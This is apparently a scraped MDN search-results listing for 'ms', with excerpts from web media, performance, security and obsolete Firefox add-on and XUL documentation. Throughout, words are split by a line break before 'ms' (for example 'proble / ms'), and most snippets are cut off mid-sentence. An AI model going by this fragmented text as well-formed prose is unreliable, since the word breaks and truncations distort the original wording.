mstyle> (style change) <
msub> (subscri...
...pt) <
msup> (superscript) <
msubsup> (subscript-superscript pair) t <mtable> (table or matrix) <mtd> (cell in a table or a matrix) <mtext> (text) <mtr> (row in a table or a matrix) u <munder> (underscript) <munderover> (underscript-overscript pair) other elements <semantics> (container for semantic annotations) <annotation> (data annotations) <annotation-xml> (xml annotations) mathml presentation elements by category top-level elements <math> token elements <mglyph> <mi> <mn> <mo> <
ms> <
mspace> <mtext> general layout <menclose> <merror> <mfenced> <mfrac> <mpadded> <mphantom> <mroot> <mrow> <
msqrt> <
mstyle> script and limit elements <mmultiscripts> <mover> <mprescripts> <
msub> <
msubsup> <
msup> <munder> <munderover> <none> t...
...abular math <maligngroup> <malignmark> <mlabeledtr> <mtable> <mtd> <mtr> elementary math <mlongdiv> <
mscarries> <
mscarry> <
msgroup> <
msline> <
msrow> <
mstack> uncategorized elements <maction> semantic annotations <annotation> <annotation-xml> <semantics> ...
Autoplay guide for media and Web Audio APIs - Web media technologies
in order to give users control over this, browsers often provide various for
ms of autoplay blocking.
...because of that, browsers generally only allow autoplay to occur successfully under specific circu
mstances.
...browsers may additionally choose to block under other circu
mstances.
Media container formats (file types) - Web media technologies
instead, it strea
ms the encoded audio and video tracks directly from one peer to another using mediastreamtrack objects to represent each track.
...it's worth noting that quicktime (the media framework on mac operating syste
ms) supports a wide variety of containers and codecs, so it actually supports many other mime types.
... specifications specification comment etsi 3gpp defines the 3gp container format iso/iec 14496-3 (mpeg-4 part 3 audio) defines mp4 audio including adts flac format the flac format specification iso/iec 11172-1 (mpeg-1 part 1 syste
ms) defines the mpeg-1 container format iso/iec 13818-1 (mpeg-2 part 1 syste
ms) defines the mpeg-2 container format iso/iec 14496-14 (mpeg-4 part 14: mp4 file format) defines the mpeg-4 (mp4) version 2 container format iso/iec 14496-1 (mpeg-4 part 1 syste
ms) defines the original mpeg-4 (mp4) container format rfc 3533 defines the ogg container format...
Media type and format guide: image, audio, and video content - Web media technologies
originally, these capabilities were limited, and were expanded organically, with different browsers finding their own solutions to the proble
ms around including still and video imagery on the web.
... this guide provides an overview of the media file types, codecs, and algorith
ms that may comprise media used on the web.
... codecs used by webrtc webrtc doesn't use a container, but instead strea
ms the encoded media itself from peer to peer using mediastreamtrack objects to represent each audio or video track.
Critical rendering path - Web Performance
in ter
ms of selector performance, less specific selectors are faster than more specific ones.
...while a 20
ms delay on load or orientation change may be fine, it will lead to jank on animation or scroll.
...the styles applied to each node increase the paint time, but removing style that increases the paint by 0.001
ms may not give you the biggest bang for your optimization buck.
Understanding latency - Web Performance
in ter
ms of performance optimization, it's important to optimize to reduce causes of lacency and to test site performance emulating high latency to optimizer for users with lousy connections.
...one of the main ai
ms of improving performance is to reduce latency.
...the approximate values of some presets include: selection download speed upload speed minimum latency (
ms) gprs 50 kbps 20 kbps 500 regular 2g 250 kbps 50 kbps 300 good 2g 450 kbps 150 kbps 150 regular 3g 750 kbps 250 kbps 100 good 3g 1.5 mbps 750 kbps 40 regular 4g/lte 4 mbps 3 mbps 20 dsl 2 mbps 1 mbps 5 wi-fi 30 mbps 15 mbps 2 network timings a...
Privacy, permissions, and information security
security and privacy defined before we go into any depth about the various security and privacy features available to users on the web, let's define some important ter
ms.
...good security practices aim to prevent unauthorized access to syste
ms or data, regardless of what the target is.
...> specifies which web features the document in the frame should be allowed to access http public key pinning (hpkp) hpkp is used by servers to instruct a client to associate a specific public key with the server going forward in order to decrease the likelihood of man-in-the-middle attacks http strict transport security (hsts) hsts is used by servers to let them protect the
mselves from protocol downgrade and cookie hijack attacks by letting sites tell clients that they can only use https to communicate with the server http/2 while http/2 technically does not have to use encryption, most browser developers are only supporting it when used with https, so it can be thought of in that regard as being security-related permissions api provides a way ...
Installing and uninstalling web apps - Progressive web apps (PWAs)
installation is supported by chrome for android and android webview version 31 and later, opera for android 32 onward, sa
msung internet from version 4 onward, and firefox for android version 58 and later.
... sa
msung internet browser if you have sa
msung internet in your mobile device you will see a different icon.
...among the options should be the "add to home screen" option, unless it's been specifically removed from the list by the user editing the optons displayed: choosing "add to home screen" here presents the confirmation dialog box, which not only confir
ms that the user wants to add the app to the home screen, but also lets the user customize its name.
Content type - SVG: Scalable Vector Graphics
metric ::= "h" | "min" | "s" | "
ms" hours ::= digit+; any positive number minutes ::= 2digit; range from 00 to 59 seconds ::= 2digit; range from 00 to 59 fraction ::= digit+ timecount ::= digit+ 2digit ::= digit digit digit ::= [0-9] for timecount values, the default metric suffix is "s" (for seconds).
...owing are examples of legal clock values: full clock values: 02:30:03 = 2 hours, 30 minutes and 3 seconds 50:00:10.25 = 50 hours, 10 seconds and 250 milliseconds partial clock value: 02:33 = 2 minutes and 33 seconds 00:10.5 = 10.5 seconds = 10 seconds and 500 milliseconds timecount values: 3.2h = 3.2 hours = 3 hours and 12 minutes 45min = 45 minutes 30s = 30 seconds 5
ms = 5 milliseconds 12.467 = 12 seconds and 467 milliseconds fractional values are just (base 10) floating point definitions of seconds.
...the time unit identifiers are:
ms: milliseconds s: seconds transform-list <transform-list> a <transform-list> is used to specify a list of coordinate system transformations.
mimeTypes.rdf corruption - SVG: Scalable Vector Graphics
sympto
ms previously you were able to open and display svg content with mozilla, but for no apparent reason its behaviour changes and now it always pops up the "open or save file" dialog when you try to open local svg files, and displays the "additional plugins are required to display all the media on this page" bar when you try to view html with embedded svg.
...proble
ms in the way mozilla obtains the media type for files loaded locally can occur in two ways.
...however, it see
ms that the former may also cause the latter.
How to turn off form autocompletion - Web security
however, some data submitted in for
ms either are not useful in the future (for example, a one-time pin) or contain sensitive information (for example, a unique government identifier or credit card security code).
... disabling autocompletion to disable autocompletion in for
ms, you can set the autocomplete attribute to "off": autocomplete="off" you can do this either for an entire form, or for specific input elements in a form: <form method="post" action="/form" autocomplete="off"> […] </form> <form method="post" action="/form"> […] <div> <label for="cc">credit card:</label> <input type="text" id="cc" name="cc" autocomplete="off"> </div> </form> ...
...setting autocomplete="off" on fields has two effects: it tells the browser not to save data inputted by the user for later autocompletion on similar for
ms, though heuristics for complying vary by browser.
Securing your site - Web security
you should use a password-specific hashing algorithm (such as argon2, pbkdf2, scrypt or bcrypt) instead of message digest algorith
ms (such as md5 and sha).
... content security properly configuring server mime types there are several ways incorrect mime types can cause potential security proble
ms with your site.
...code is executed by the victi
ms and lets the attackers bypass access controls and impersonate users.
Using shadow DOM - Web Components
as an example, consider the following html fragment: <!doctype html> <html> <head> <meta charset="utf-8"> <title>simple dom example</title> </head> <body> <section> <img src="dinosaur.png" alt="a red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small ar
ms, and a large head with lots of sharp teeth."> <p>here we will add a link to the <a href="https://www.mozilla.org/">mozilla homepage</a></p> </section> </body> </html> this fragment produces the following dom structure: shadow dom allows hidden dom trees to be attached to elements in the regular dom tree — this shadow dom tree starts with a shadow root, underneath which can b...
...this is the case with built in elements that contain shadow do
ms, such as <video>.
... note: as this blog post shows, it is actually fairly easy to work around closed shadow do
ms, and the hassle to completely hide them is often more than it's worth.
Loading and running WebAssembly code - WebAssembly
this article provides a reference for the different mechanis
ms that can be used to fetch webassembly bytecode, as well as how to compile/instantiate then run it.
... the quickest, most efficient way to fetch a wasm module is using the newer webassembly.instantiatestreaming() method, which can take a fetch() call as its first argument, and will handle fetching, compiling, and instantiating the module in one step, accessing the raw byte code as it strea
ms from the server: webassembly.instantiatestreaming(fetch('simple.wasm'), importobject) .then(results => { // do something with the results!
...}); aside on instantiate() overloads the webassembly.instantiate() function has two overload for
ms — the one shown above takes the byte code to compile as an argument and returns a promise that resolves to an object containing both the compiled module object, and an instantiated instance of it.
Navigator.mozNotification - Archive of obsolete content
method overview notification createnotification(in do
mstring title, in do
mstring description, in do
mstring iconurl optional); methods createnotification() creates and returns a notification object that can be used to display the specified message with an optional url.
... notification createnotification( in do
mstring title, in do
mstring description, in do
mstring iconurloptional ); parameters title the notification title.
Content Scripts - Archive of obsolete content
so you can rewrite the above main.js code like this: var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "*.mozilla.org", contentscriptfile: "./content-script.js" }); unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have proble
ms getting your add-on approved on amo.
...).data; var pagemod = require("sdk/page-mod"); var contentscriptstring = '$("body").html("<h1>page matches ruleset</h1>");'; pagemod.pagemod({ include: "*.mozilla.org", contentscript: contentscriptstring, contentscriptfile: data.url("jquery.js") }); unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have proble
ms getting your add-on approved on amo.
Classes and Inheritance - Archive of obsolete content
for instance, to define a constructor for a class shape in ter
ms of class, we can write: let shape = class({ initialize: function (x, y) { this.x = x; this.y = y; }, draw: function () { throw new error("not yet implemented"); } }); the property initialize is special.
...if the extends property is omitted, class itself is used as the base class: var shape = new shape(2, 3); shape instanceof shape; // => true shape instanceof class; // => true to illustrate the use of the extends property, let's redefine the constructor for the class circle in ter
ms of class: var circle = class({ extends: shape, initialize: function(x, y, radius) { shape.prototype.initialize.call(this, x, y); this.radius = radius; }, draw: function (context) { context.beginpath(); context.arc(this.x, this.y, this.radius, 0, 2 * math.pi, false); context.fill(); } }); unlike the definition of ci...
Guides - Archive of obsolete content
firefox compatibility working out which firefox releases a given sdk release is compatible with, and dealing with compatibility proble
ms.
... sdk idio
ms working with events write event-driven code using the the sdk's event emitting framework.
simple-prefs - Archive of obsolete content
they are documented along with the preference types the
mselves.
... in "package.json": { "type": "control", "label": "click me!", "name": "sayhello", "title": "say hello" } in "main.js": var sp = require("sdk/simple-prefs"); sp.on("sayhello", function() { console.log("hello"); }); localization using the sdk's localization system, you can provide translated for
ms of the title and description attributes.
cfx - Archive of obsolete content
-o, --overload-modules in early versions of the sdk, the sdk modules used by an add-on were the
mselves included in the add-on.
... -o, --overload-modules in early versions of the sdk, the sdk modules used by an add-on were the
mselves included in the add-on.
Chrome Authority - Archive of obsolete content
commands that build a manifest, like "jpm xpi" or "jpm run", will scan all included modules for use of cc/ci aliases (or the expanded components.classes for
ms).
... it will emit a warning if it sees the expanded for
ms, or if it sees a use of e.g.
Troubleshooting - Archive of obsolete content
other users often post proble
ms to the project mailing list.
... contact the project team and user group sdk users and project team members discuss proble
ms and proposals on the project mailing list.
Using third-party modules (jpm) - Archive of obsolete content
in your add-on code, you can require() modules by passing a path to the module starting from, but not including "node_modules": var menuite
ms = require("menuitem"); details create a new directory called, for example, "my-menuitem", navigate to it, type "jpm init" and accept all the defaults: mkdir my-menuitem cd my-menuitem jpm init install the menuitem package from npm: npm install menuitem --save this will install the package in the current directory, under a directory called "node_modules".
...open "index.js" and replace it with this: var menuite
ms = require("menuitem"); var menuitem = menuite
ms.menuitem({ id: "clickme", menuid: "menu_toolspopup", label: "click me!", oncommand: function() { console.log("clicked"); }, insertbefore: "menu_pageinfo" }); now run the add-on: jpm run -b nightly you should see a new menu item in the tools menu labeled "click me!".
Alerts and Notifications - Archive of obsolete content
this works on windows, linux and (if growl is installed) mac os x: function popup(title, text) { try { components.classes['@mozilla.org/alerts-service;1'] .getservice(components.interfaces.nsialertsservice) .showalertnotification(null, title, text, false, '', null); } catch(e) { // prevents runtime error on platfor
ms that don't implement nsialertsservice } } if you need to display a comparable alert on a platform that doesn't support nsialertsservice, you can do this: function popup(title,
msg) { var image = null; var win = components.classes['@mozilla.org/embedcomp/window-watcher;1'] .getservice(components.interfaces.nsiwindowwatcher) .openwindow(null, 'ch...
...rome://global/content/alerts/alert.xul', '_blank', 'chrome,titlebar=no,popup=yes', null); win.arguments = [image, title,
msg, false, '']; } using notification box another way of non-modal notification and further interaction with users is using of xul elements notificationbox and notification (implicitly).
Dialogs and Prompts - Archive of obsolete content
(although it see
ms to work in <window> as well).
...the code to open a dialog named mydialog.xul and pass it arguments: var para
ms = {inn:{name:"foo", description:"bar", enabled:true}, out:null}; window.opendialog("chrome://myext/content/mydialog.xul", "", "chrome, dialog, modal, resizable=yes", para
ms).focus(); if (para
ms.out) { // user clicked ok.
Extension Theming Guidelines - Archive of obsolete content
branding certain ite
ms of your extensions style, in particular logos and icons can be kept in the chrome content package such that they are not replaceable by custom themes stylesheets guidelines include stylesheets for every new window that your extension adds and for every window that your extension overlays content into be sure to add a stylesheet from your chrome skin package.
... style attributes style attributes should only be used in rare circu
mstances.
Adding Events and Commands - Archive of obsolete content
it's very useful because it represents the most common action for input controls such as menu ite
ms, buttons and checkboxes.
...you can create an extension that adds toolbar buttons, statusbar buttons and menu ite
ms, all with equivalent behavior, and without having to repeat lots of xul code in the process.
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
there won't be any proble
ms if various add-ons override the same function (using this method).
... accessing properties via computed names not that common anymore, but still existing, are add-ons or other javascript progra
ms that access object properties using eval when the property name is not a literal, but computed on the fly.
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
they're not in any namespace) elem.setattributens(attrns.namespace || "", attrns.shortname, val); } } // create and append this element's children var childele
ms = array.slice(arguments, 2); childele
ms.foreach(function(childelem) { if (childelem != null) { elem.appendchild( childelem instanceof doc.defaultview.node ?
...under no circu
mstances should code resembling 'callback("' + str + '")' appear anywhere in your add-on.
Getting Started with Firefox Extensions - Archive of obsolete content
extensions now exist in 3 different for
ms: add-ons sdk extensions (also known as jetpacks), bootstrapped extensions and traditional extensions.
...xpi (pronounced "zippy") stands for cross-platform installer, because the same installer file can work on all platfor
ms firefox supports.
Firefox addons developer guide - Archive of obsolete content
there should be some introductory text on the table of contents page at https://developer.mozilla.org/en/firefox_addons_developer_guide obviously there are a number of fixme ite
ms in the content that need dealing with, but those are already known.
... todo: all fixme notes inside the documents; add abbreviation definition to acrony
ms; add some link to the internal mdc documentation when it makes sense; indent source code; make sure documentation is relevant for all platfor
ms: gnu/linux, macos, windows; add anchor links to figures & listings; add credits to original authors and license; completed sometimes, interfaces names are misspelled: s/nsl/nsi; talk about fuel; titles of chapters and sub-headings should have caps...
Using Dependent Libraries In Extension Components - Archive of obsolete content
@smedbergs.us> #include "nscore.h" #include "nsmodule.h" #include "prlink.h" #include "nsilocalfile.h" #include "nsstringapi.h" #include "nscomptr.h" static char const *const kdependentlibraries[] = { // dependent1.dll on windows, libdependent1.so on linux moz_dll_prefix "dependent1" moz_dll_suffix, moz_dll_prefix "dependent2" moz_dll_suffix, nsnull // note: if the dependent libs the
mselves depend on other libs, the subdependencies // should be listed first.
...#include <mach-o/loader.h> #include <mach-o/dyld.h> static char const *const kdependentlibraries[] = { // dependent1.dll on windows, libdependent1.so on linux, libdependent1.dylib on mac moz_dll_prefix "dependent1" moz_dll_suffix, moz_dll_prefix "dependent2" moz_dll_suffix, nsnull // note: if the dependent libs the
mselves depend on other libs, the subdependencies // should be listed first.
Add-ons - Archive of obsolete content
some ite
ms mentioned are strict guidelines, meaning that if you don't follow them then your add-on will not be approved on mozilla add-ons.
... other ite
ms are recommendations.
Beginner tutorials - Archive of obsolete content
creating reusable content with css and xblthis page illustrates how you can use css in mozilla to improve the structure of complex applications, making code and resources more easily reusable.underscores in class and id namessummary: the use of the underscore character in css can lead to major display proble
ms in multiple browsers.
...this technical note examines the use of underscores in css, and why they should be generally avoided in most circu
mstances.xml datathis page contains an example of how you can use css with xml data.xul user interfacesthis page illustrates mozilla's specialized language for creating user interfaces.
Install.js - Archive of obsolete content
install.js install.rdf (optional -- see above) code // install.js // xpiinstaller // by pike (heavily inspired by code from henrik gemal and stephen clavering) var xpiinstaller = { // --- editable ite
ms begin --- extfullname: 'sample extension', // the name displayed to the user (don't include the version) extshortname: 'sampleext', // the leafname of the jar file (without the .jar part) extversion: '1.0', extauthor: 'insert-your-name-here', extlocalenames: null, // e.g.
...['classic', 'modern'] extpostinstallmessage: null, // set to null for no post-install message // --- editable ite
ms end --- profileinstall: true, silentinstall: false, install: function() { var jarname = this.extshortname + '.jar'; var profiledir = install.getfolder('profile', 'chrome'); // parse http arguments this.parsearguments(); // check if extension is already installed in profile if (file.exists(install.getfolder(profiledir, jarname))) { if (!this.silentinstall) { install.alert('updating existing profile install of ' + this.extfullname + ' to version ' + this.extversion + '.'); } this.profileinstall = true; } else if (!this.silentinstall) { // ask user for install location, profile ...
Defining Cross-Browser Tooltips - Archive of obsolete content
the problem according to the html 4.01 definition of the alt attribute: alt = text cs for user agents that cannot display images, for
ms, or applets, this attribute specifies alternate text.
...a similar solution can be employed for web servers that are based on content management syste
ms, including microsoft's active server pages, which make such substitutions fairly simple.
ActiveX Control for Hosting Netscape Plug-ins in IE - Archive of obsolete content
manual installation assuming you have the precompiled pluginhostctrl.dll and wish to install it on a machine, you must register it either through an install script or manually: regsvr32 pluginhostctrl.dll you must have administrator privileges to install a new control on operating syste
ms such as windows nt, 2000 & xp.
... plug-ins cannot create writeable strea
ms or seek in readable strea
ms.
Kill the XUL.mfl file for good - Archive of obsolete content
but creating a subdirectory named xul.mfl in mozilla's profile directory see
ms to help (mozilla is not smart enough to remove the directory before creating the file, thus the presence of the directory effectively disables this (mis)feature).
...it see
ms that as of version 1.5, the xul.mfl file no longer is a problem, so this part may be skipped if you have a recent enough mozilla version.
Creating a hybrid CD - Archive of obsolete content
the utility mkhybrid lets you create hybrid cds that work with all three filesyste
ms.
...file used by mkhybrid for hfs # # extn xlate creator type comment .hqx ascii 'sitx' 'text' "binhex file" .zip raw 'sitx' 'zip ' "zip file" .gz raw 'sitx' 'zip ' "gzip file" .tgz raw 'sitx' 'zip ' "tar.gz gzip file" .tar raw 'sitx' 'tarf' "tar file" .tif raw '8bim' 'tiff' "photoshop tiff image" .doc raw '
mswd' 'wdbn' "word file" .mov raw 'tvod' 'moov' "quicktime movie" .bin raw 'sitx' 'bina' "mac binary" .h ascii 'cwie' 'text' "c/c++ header file" .c ascii 'cwie' 'text' "c source file" .cp ascii 'cwie' 'text' "c++ source file" .cpp ascii 'cwie' 'text' "c++ source file" .exp ascii 'cwie' 'text' "symbol export fi...
Creating a Release Tag - Archive of obsolete content
remember to also check out extra mac and win32 files that aren't normally checked out on linux or the tag won't build on those platfor
ms.
... cvs co -r netscape_6_2_release mozilla/client.mk cd mozilla gmake -f client.mk checkout create a mini branch for the pull scripts on all three platfor
ms so we can change them without changing anything on the original branch.
Embedding Mozilla in a Java Application using JavaXPCOM - Archive of obsolete content
ocationprovider that works : public class locationprovider implements iappfilelocprovider { private final file libxulpath; int counter = 0; public locationprovider(file grepath) { this.libxulpath = grepath; } public file getfile(string aprop, boolean[] apersistent) { file file = null; if (aprop.equals("gred") || aprop.equals("greco
msd")) { file = libxulpath; if (aprop.equals("greco
msd")) { file = new file(file, "components"); } } else if (aprop.equals("mozbind") || aprop.equals("curprocd") || aprop.equals("co
msd") || aprop.equals("profd")) { file = libxulpath; if (aprop.equals(...
..."co
msd")) { file = new file(file, "components"); } } return file; } public file[] getfiles(string aprop) { file[] files = null; if (aprop.equals("apluginsdl")) { files = new file[1]; files[0] = new file(libxulpath, "plugins"); } return files; } } calling xpcom ui from another thread appstartup.run() enters the main event loop and will stay there until the application exits.
Document Loading - From Load Start to Finding a Handler - Archive of obsolete content
guided tour during startup and component initialization, components register the
mselves with the uriloader via registercontentlistener.
...trycontentlistener makes use of the ispreferred and canhandlecontent functions on nsiuricontentlistener and calls docontent() on the listener if it clai
ms to handle the data, as well as hooking up a stream converter if the listener asks for one.
Firefox - Archive of obsolete content
downloading nightly or trunk buildsthere are some ter
ms that are used by the mozilla community.
...note that this is an attempt at describing the current usage of these ter
ms.
GRE Registration - Archive of obsolete content
however, some linux distributors including red hat/fedora core ship /etc/gre.d/*.conf files with the mozilla suite rp
ms.
... xulrunner rp
ms/post-install scripts should register xulrunner as a gre by running <tt>xulrunner -register-global</tt> and not hand-create a .conf file.
GRE - Archive of obsolete content
mozilla suite: the old gre there are two different for
ms for the gre: the "old" gre was part of the mozilla application suite.
...xulrunner supports or is planned to support embedding on all three major platfor
ms (windows, mac, and linux).
generateCRMFRequest() - Archive of obsolete content
crmfobject = crypto.generatecrmfrequest("requesteddn", "regtoken", "authenticator", "escrowauthoritycert", "crmf generation done code", keysize1, "keypara
ms1", "keygenalg1", ..., keysizen, "keypara
msn", "keygenalgn"); this method will generate a sequence of crmf requests that has n requests.
... keysizen the size in bits of the nth key to generate "keypara
msn" this string is an optional algorithm dependent parameter value.
Twitter - Archive of obsolete content
user info jetpack.lib.twitter.users.show({ id: "mozlabs", success: function (data, status) console.log(data.tosource()), error: function (xhr, err
msg, errobj) console.error(xhr.responsetext) }); friends of a user jetpack.lib.twitter.statuses.friends({ id: "mozlabs", page: 3, success: function (data, status) console.log(data.tosource()), error: function (xhr, err
msg, errobj) console.error(xhr.responsetext) }); trends jetpack.lib.twitter.trends({ success: function (data, status) console.log(data.tosource()), error: function (xhr, ...
...err
msg, errobj) console.error(xhr.responsetext) }); searching jetpack.lib.twitter.search({ q: "#jetpack", lang: "ja", rpp: 10, page: 5, since_id: 1337, success: function (data, status) console.log(data.tosource()), error: function (xhr, err
msg, errobj) console.error(xhr.responsetext) }); ...
Clipboard Test - Archive of obsolete content
></style> <style>.description{ display: block; font-size: 13pt; color: #444; font-style: italic; margin-bottom: 7px; } .method>.returns{display: none;} .method>.name>.param:not(:last-child):after{content: ","; padding-right: .5em; } .method>.name>.param:not(:last-child):after{content: ","; padding-right: .5em; } .method>.name>.param>.name:after{content: " as "; font-weight: normal; } .method>.para
ms{display: block; color:#555;} .method>.para
ms>.param{display: block; margin-bottom:5px;} .method>.para
ms>.param>.name{font-weight:bold; margin-right:.5em; min-width:80px; display:inline-block;} .method>.para
ms>.param>.description{display:inline-block; width:300px; vertical-align:top;margin-right:30px} .method>.para
ms>.param>.type{display:inline-block; width:100px; vertical-align:top;font-weight:bo...
...ld;} .method>.para
ms>.param>.type:before{content: "type "; color: #888; font-weight:normal;} .method>.para
ms>.param>.default{display:inline-block; width:100px; vertical-align:top;font-weight:bold;} .method>.para
ms>.param>.default:before{content: "default "; color: #888;font-weight:normal;} ]]></style> clipboard jetpack's clipboard support api provides a standardized way for features to access the clipboard.
New Security Model for Web Services - Archive of obsolete content
it see
ms fairly easy to drop an access file into the root directory of the web server to allow access.
...where a server spans multiple owners, the alternative would be to scan all directories in the path looking for a web scripts access file, which see
ms undesirable.
Hacking wiki - Archive of obsolete content
polvi clai
ms that you'll have it, but in case you don't, you can copy one from the mediawiki tarball.
...if you have proble
ms with setting up the mdc wiki (and not the web server or php or mediawiki), feel free to ask in #devmo.
New Skin Notes - Archive of obsolete content
--dria how about modifying style for the side-bar to have a :hover class added which modifies (to a slightly lighter shade) the background color of the link, this will help to make ite
ms "appear as links" to many users, possibly add a text-decoration: underline as well.
...--dria the menu column see
ms larger than before in the current test theme, so as to cause some reference pages to look ugly when browser set in 800x* resolution, using the default firefox 1.0.6 fonts settings on xfree86.
File object - Archive of obsolete content
getting started in order to use the file object from your javascript progra
ms, you must enable it by setting the make variable js_has_file_object during the compilation of your spidermonkey engine.
...pipe to progra
ms generating output on stdout) begin with the pipe symbol; writeable pipelines end with the pipe symbol.
Actionscript Acceptance Tests - Archive of obsolete content
(see bug 587093 for details.) specifying multiple .abcs: if you desire to run a test with multiple .abc files (e.g: av
mshell a.abc b.abc testname.abc) there is a special avm_args directive called multiabc that is specified surrounded by two pipe (|) symbols: |multiabc| $dir/testname_support/a.abc $dir/testname_support/b.abc the extra abc files will usually be placed in a _support dir (see additional files below).
...('est', 'edt') ('cst', 'cdt') ('
mst', 'mdt') ('pst', 'pdt') testname.err this file is used when the test throws an uncatchable error.
Cmdline tests - Archive of obsolete content
two use cases for the cmdline testsuite: use case 1: test the interactive cmdline debugger test contents: start av
mshell -d test.abc, set breakpoint on a line, show local variable value, quit from cmdutils import * def run(): r=runtestlib() r.run_test( 'debugger locals', '%s -d testdata/debug.abc'%r.avmrd, input='break 53\ncontinue\nnext\ninfo locals\nnext\ninfo locals\nquit\n', expectedout=['local1 = undefined','local2 = 10','local2 = 15'] ) use case 2: test -me
mstats retur...
...ns memory logs to stdout test contents: start av
mshell -me
mstats test.abc, assert stdout contains 'gross stats', 'sweep m reclaimed n pages.' from cmdutils import * def run(): r=runtestlib() r.run_test(name='me
mstats', command="%s -me
mstats testdata/me
mstats.abc" % r.avm, expectedout=[ 'gross stats', 'managed fragmentation', 'gross stats end', 'sweep\\([0-9]+\\) reclaimed [0-9]+ whole pages' ] ...
Using addresses of stack variables with NSPR threads on win16 - Archive of obsolete content
0 : 1; } this is a completely correct (albeit trivial) program that will run predictably on all nspr platfor
ms other than win-16.
...what is probably more likely to cause proble
ms is passing addresses of automatically allocated variables to a function that wends its way though arbitrary amounts of convoluted logic, and finds its way into an object that is shared.
Venkman - Archive of obsolete content
it ai
ms to provide a powerful javascript debugging environment for mozilla based browsers namely firefox, netscape 7.x/9.x and seamonkey.
... source code the source code for venkman may be found in mercurial at the following url: http://hg.mozilla.org/venkman/summary community view mozilla foru
ms...
When To Use ifdefs - Archive of obsolete content
there are three major kinds of ifdefs in use in the mozilla tree: platform/widget ifdefs, feature ifdefs, and application-specific ifdefs: platform/widget ifdefs the mozilla code will frequently need to differentiate between code for different platfor
ms or widget sets.
...the only time when they might be a problem is in cross-platform extension code and locales: since this code is downloaded on multiple platfor
ms, platform-specific ifdefs are generally out of the question.
DOM Interfaces - Archive of obsolete content
idl definition interface nsidomdocumentxbl { nodelist getanonymousnodes(in element elt); element getanonymouselementbyattribute(in element elt, in do
mstring attrname, in do
mstring attrvalue); element getbindingparent(in node node); void loadbindingdocument(in do
mstring documenturl); }; methods getanonymousnodes the getanonymousnodes method retrieves the anonymous children of the specified element.
... parameters documenturl of type do
mstring - the url of a binding document.
XML in Mozilla - Archive of obsolete content
mozilla will read internal (dtd) subsets, and in special circu
mstances external dtds as explained above and will use this information to recognize id type attributes, default attribute values, and general entities.
...no longer supported) w3c recommendation p3p wsdl (no longer supported) w3c note web services xbl mozilla's xbl reference xul mozilla's xul reference roadmap next big tasks would include support for xpointer xpointer() scheme (bug 32832), xinclude (bug 201754), xml catalogs (bug 98413), xfor
ms (bug 97806; work being done on implementing this as an extension), validating parser (bug 196355) and xml schemas.
windowsShortcut - Archive of obsolete content
method of file object syntax int windowsshortcut( folderobject atarget, folderobject ashortcutpath, string adescription, folderobject aworkingpath, string apara
ms, folderobject aicon, number aiconid); parameters the windowsshortcut method has the following parameters: atarget a filespecobject representing the absolute path (including filename) to file that the shortcut will be created for.
... apara
ms parameters that atarget requires.
addFile - Archive of obsolete content
typically, absolute pathnames are only used for shared components, or components that come from another vendor, such as /microsoft/shared/
msvcrt40.dll.typically, relative pathnames are relative to the main pathname specified in the initinstall method.
...some file transfer progra
ms will convert apple binaries to this format on transfer if you transfer them from a macintosh to a unix/windows machine before zipping up those files on that target system.
confirm - Archive of obsolete content
method of install object syntax int confirm( string atext ); int confirm( string atext, string adialogtitle, number abuttonflags, string abutton0title, string abutton1title, string abutton2title, string acheck
msg, object acheckstate ); parameters the second, extended confirm() method is supported starting with gecko 1.8.
... acheck
msg a string to display as a checkbox label.
getFolder - Archive of obsolete content
osx user documents" "macosx user frameworks" "macosx user internet plugin" "macosx user preferences" "unix lib" "unix local" "windows" "win appdata" "win common files" "win desktop" "win desktop common" "win program files" "win progra
ms" "win progra
ms common" "win startmenu" "win startmenu common" "win startup" "win startup common" "win system" the "file:///" form is only valid when the subdirectory parameter is used.
...the folders whose names start with "win", "mac", or "unix" are specific to those platfor
ms.
patch - Archive of obsolete content
typically, absolute pathnames are only used for shared components, or components that come from another vendor, such as /microsoft/shared/
msvcrt40.dll.
...if the checksu
ms do not match, the original version of the file is preserved, the patched version of the file is discarded, and an error code is returned.
XPJS Components Proposal - Archive of obsolete content
xpconnect provides the mechanis
ms for communication between native and js xpcom components, but it does not provide all of the infrastructure to register and instantiate js components outside of the limitations of the browser window.
...the xpjsmanager is in charge of loading these .js files, helping them register the
mselves, and acting as an intermediary between the xpcom component manager and the js code.
XTech 2006 Presentations - Archive of obsolete content
layout algorithm improvements for web user interfaces (slides, slides as one page) - david baron a discussion of proble
ms with existing standards and potential improvements in two areas: layout syste
ms for user interfaces (rather than documents) and mechanis
ms for reordering content to allow the author to use good markup and appropriate layout.
... etna, a wysiwyg xml relax ng- and gecko-based editor - daniel glazman this presentation describes etna, a new wysiwyg xml editor based on gecko, the relax ng parser and validator disruptive innovations implemented for it and its query api, and relax ng extensions that were necessary to solve very old and well known proble
ms in markup languages.
disableKeyNavigation - Archive of obsolete content
« xul reference home disablekeynavigation type: boolean if this attribute is not used, the user can navigate to specific ite
ms within the element by pressing keys corresponding to letters in the item's label.
... this is done incrementally, so typing more letters with select more specific ite
ms.
icon - Archive of obsolete content
some platfor
ms display these buttons with a small icon indicating their usage.
...see the appearance of the different icons on some available platfor
ms.
menuitem.type - Archive of obsolete content
« xul reference home type type: one of the values below can be used to create checkable menuite
ms or for radio button menuite
ms.
...other menuite
ms that have the same value for their name attributes are part of the same radio group.
Dynamically modifying XUL-based user interface - Archive of obsolete content
var element = document.getelementbyid("someelement"); while(element.haschildnodes()){ element.removechild(element.firstchild); } inserting menu ite
ms to a menu this example adds two new menu ite
ms to a <menupopup>: to the start and to the end of it.
... it uses document.createelementns() method to create the ite
ms, and insertbefore() with appendchild() to insert the created xml elements within the document.
appendItem - Archive of obsolete content
« xul reference home appenditem( label, value ) return type: element creates a new item and adds it to the end of the existing list of ite
ms.
... example <script language="javascript"> function addite
mstolist(){ var list = document.getelementbyid('mymenulist'); // add item with just the label list.appenditem('one'); // add item with label and value list.appenditem('two', 999); // select the first item list.selectedindex = 0; } </script> <button label="add ite
ms" oncommand="addite
mstolist()"/> <menulist id="mymenulist"> <menupopup/> </menulist> see also insertitemat() removeitemat() ...
getSelectedItem - Archive of obsolete content
« xul reference home getselecteditem( index ) return type: element when multiple ite
